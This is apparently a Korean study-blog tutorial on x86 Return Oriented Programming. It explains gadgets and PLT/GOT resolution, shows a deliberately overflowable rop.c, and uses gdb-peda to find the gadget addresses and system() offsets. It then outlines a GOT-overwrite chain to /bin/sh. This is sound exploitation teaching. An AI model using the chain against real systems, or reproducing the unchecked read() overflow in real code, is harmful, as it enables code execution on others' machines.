01.ROP(Return Oriented Programming)-x86 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태�
lazenca.net
ROP 이라는 뜻은 공격자가 NXbit나 Code signing과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술입니다. (RTL + Gadgets)
이 기법에서 공격자는 프로그램의 흐름을 변경하기 위해 스택 오버플로우 취약점이 필요하고, 가젯이라는 해당 프로그램에 사용하는 메모리에 존재하는 기계 명령어가 필요합니다.
가젯은?
- 기존 프로그램 또는 공유 라이브러리 코드 내의 서브 루틴에 존재하는 각 가젯은 반환 명령어인 ret으로 끝이 난다.
- 가젯과 취약성을 이용하면 익스플로잇을 실행할수 있다.
Gadgets - POP; POP; POP; RET
- ROP는 기본적으로 RTL 기법을 이용하며, 공격자는 RTL과 Gadgets을 이용해 공격에 필요한 코드를 프로그래밍 하는 것입니다.
우리가 배운 RTL 공격기법은 return 주소에 system 함수를 넣어 공격을 하였다. 하지만 여러 다양한 상황에 따라 system 함수로의 RTL만 이용하기는 어려웠고, 여러개의 함수 호출이 필요하여 만들어졌다.
스택 주소 설명
0xffffd57c |
시스템함수를 호출 |
return address의 위치(ebp+4) |
0xffffd580 |
시스템함수가 return할 주소의 위치 | |
0xffffd584 | system 함수에 들어갈 첫번째 인자 |
- 여러 개의 함수를 호출하기 위해 사용되는 것이 Gadgets이며, 기본적으로 다음과 같은 Gadgets 이 사용됩니다.
- 호출 하는 함수의 인자가 3개 일 경우 : "pop; pop; pop; ret"
- 호출 하는 함수의 인자가 2개 일 경우 : "pop; pop; ret"
- 호출 하는 함수의 인자가 1개 일 경우 : "pop; ret"
- 호출 하는 함수의 인자가 없을 경우 : "ret"
- 해당 Gadgets들의 역할은 ESP 레지스터의 값을 증가시키는 것입니다.
- RTL에 의해 호출되는 함수에 전달되는 인자 값이 저장된 영역을 지나 다음 함수가 호출될 수 있도록 하는 것입니다.
- 32비트 바이너리에서는 pop 명령어의 피연산자 값은 중요하지 않습니다.
- 다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있습니다.
- RTL에서 호출할 함수(주소 값이 저장된)의 다음 영역은 해당 함수가 종료된 후 이동할 Return Address 영역입니다.
- 해당 영역에 Gadgets의 주소를 저장함으로써 연속해서 다음 함수가 호출될 수 있습니다.
- 아래의 구조는 read() 함수 호출 하고나서 System() 함수를 호출하게 되는 과정입니다..
ROP 구조
0xffffd57c |
Read 함수의 주소 |
return address 의 위치(ebp+4) |
0xffffd580 |
가젯의 주소(pop;pop;pop;ret) | |
0xffffd584 | 첫번째 인자 | |
0xffffd588 | 두번째 인자 | |
0xffffd58C | 세번째 인자 | |
0xffffd590 | 시스템 함수의 주소 | |
0xffffd594 | 시스템 함수 주소 호출후 다믐 리턴할 주소 | |
0xffffd598 | 첫번째 인자 |
PLT & GOT
- 프로시저 링키지 테이블(PLT)에는 동적 링커가 공유 라이브러리의 함수의 호출을 위해 코드가 저장되어 있습니다.
- 전역 오프셋 테이블(GOT)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장됩니다.
- 각각의 정보들은 ".plt"와 "got.plt" 섹션에 저장되고, 이 섹션은 공격대상이 되어, 주로 힙, ".bss" Exploit에 의해 포인터 값의 변조가 가능합니다.
- ROP에서는 해당 정보들을 유용하게 활용할 수 있습니다.
디버그
-
다음과 같이 PLT & GOT 영역의 내용 및 값의 변경을 확인할 수 있습니다.
핵심정리
read함수의 plt, got 영역의 주소 - .plt의 주소는 0x8048300, .got.plt의 주소는 0x804a00c
read@plt 영역에는 libc에서 read() 함수를 호출하기 위한 코드가 저장되어 있습니다.read@plt 의 코드의 분석
-
read@got(0x804a00c) 영역에 저장된 주소로 이동합니다.
-
read@got(0x804a00c) 영역에는 <read@plt+6>(0x8048306)영역의 주소가 저장되어 있습니다.
(그 이유는 read() 함수가 그 프로그램에서 아직 호출되지 않아서 그렇기 때문이다.) -
<read@plt+11> 의 "jmp 0x80482f0" 코드에 의해 _dl_runtime_resolve() 함수를 호출합니다.
(해당 함수는 libc에서 찾고자 하는 함수(read)의 주소를 .got.plt 영역에 저장합니다.) - read() 함수가 호출된 후 read@got(0x804a00c)영역에는 libc의 read() 함수 주소가 저장되어 있습니다.
-
Example code
rop.c
#include <stdio.h> #include <unistd.h>
void vuln(){ char buf[50]; read(0, buf, 256); }
void main(){ write(1,"Hello ROP\n",10); vuln(); } |
GDB 이용해서 분석하기
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
-
0x0804843b : vuln 함수 코드 첫부분
-
0x0804844f : read() 함수 호출 전
-
Breakpoints
gdb-peda$ b *0x0804843b
gdb-peda$ b *0x0804844f
Dump of assembler code for function vuln:
0x0804843b <+0>: push ebp
0x0804843c <+1>: mov ebp,esp
0x0804843e <+3>: sub esp,0x48
0x08048441 <+6>: sub esp,0x4
0x08048444 <+9>: push 0x100
0x08048449 <+14>: lea eax,[ebp-0x3a]
0x0804844c <+17>: push eax
0x0804844d <+18>: push 0x0
0x0804844f <+20>: call 0x8048300 <read@plt>
0x08048454 <+25>: add esp,0x10
0x08048457 <+28>: nop
0x08048458 <+29>: leave
0x08048459 <+30>: ret
우리는 이 어셈블리어를 바탕으로 gdb를 이용해서 취약점을 파악할수 있는데, 리턴 주소(0xffffd5dc)와 buf의 시작 주쇼((0xffffd59e)를 알아내고, 그 주소의 차가62이므로
62개 이상의 문자를 입력한다면 return 주소를 덮을수 있습니다.
Exploit 방법
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
Exploit 순서
-
read 함수를 이용해 "/bin/sh" 명령을 쓰기 가능한 메모리 영역에 저장
- write 함수를 이용해 read 함수의 .got 영역에 저장된 값을 출력
- read 함수를 이용해 read 함수의 .got 영역에 system 함수의 주소로 덮어씀
- read 함수 호출 - read .got 영역에 system 함수의 주소가 저장되어 있기 때문에 system 함수가 호출됨
ROP code
read(0,writableArea,len(str(binsh))) write(1,read_got,len(str(read_got))) read(0,read_got,len(str(read_got))) system(writableArea) |
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록을 정리하면
1. "/bin/sh"명령을 저장할 수 있는 쓰기 가능한 메모리 공간
2. read(), write() 함수의 plt, got
3. system() 함수의 주소
4. pop,pop,pop,ret 가젯의 위치
익스플로잇을 위해 찾아야할것들
1.가젯 찾기
peda
- 다음과 같이 peda에서 필요한 Gadgets을 찾을 수 있습니다.
Find gadgets - peda
gdb-peda$ ropgadget ret = 0x80482d2 popret = 0x80482e9 pop2ret = 0x80484ea pop3ret = 0x80484e9 pop4ret = 0x80484e8 addesp_12 = 0x80482e6 addesp_16 = 0x80483a5 gdb-peda$ |
2.plt, got의 주소찾기 - read, write
- 다음과 같이 peda에서 .plt, .got 영역을 확인 할 수 있습니다.
Find plt, got address - read, write
gdb-peda$ elfsymbol read Detail symbol info read@reloc = 0 read@plt = 0x8048300 read@got = 0x804a00c gdb-peda$ elfsymbol write Detail symbol info write@reloc = 0x10 write@plt = 0x8048320 write@got = 0x804a014 gdb-peda$ |
3.시스템함수의 주소 찾기
- 다음과 같이 system 함수의 Address, offset을 확인할 수 있습니다.
Address of the system() function
gdb-peda$ p read $2 = {<text variable, no debug info>} 0xf7edc350 <read> gdb-peda$ p system $3 = {<text variable, no debug info>} 0xf7e42940 <system> gdb-peda$ p/x 0xf7edc350 - 0xf7e42940 $4 = 0x99a10 gdb-peda$ |
'포너블 > 개념' 카테고리의 다른 글
FAKE EBP (0) | 2020.05.26 |
---|---|
RTL(return to libc) (0) | 2020.05.21 |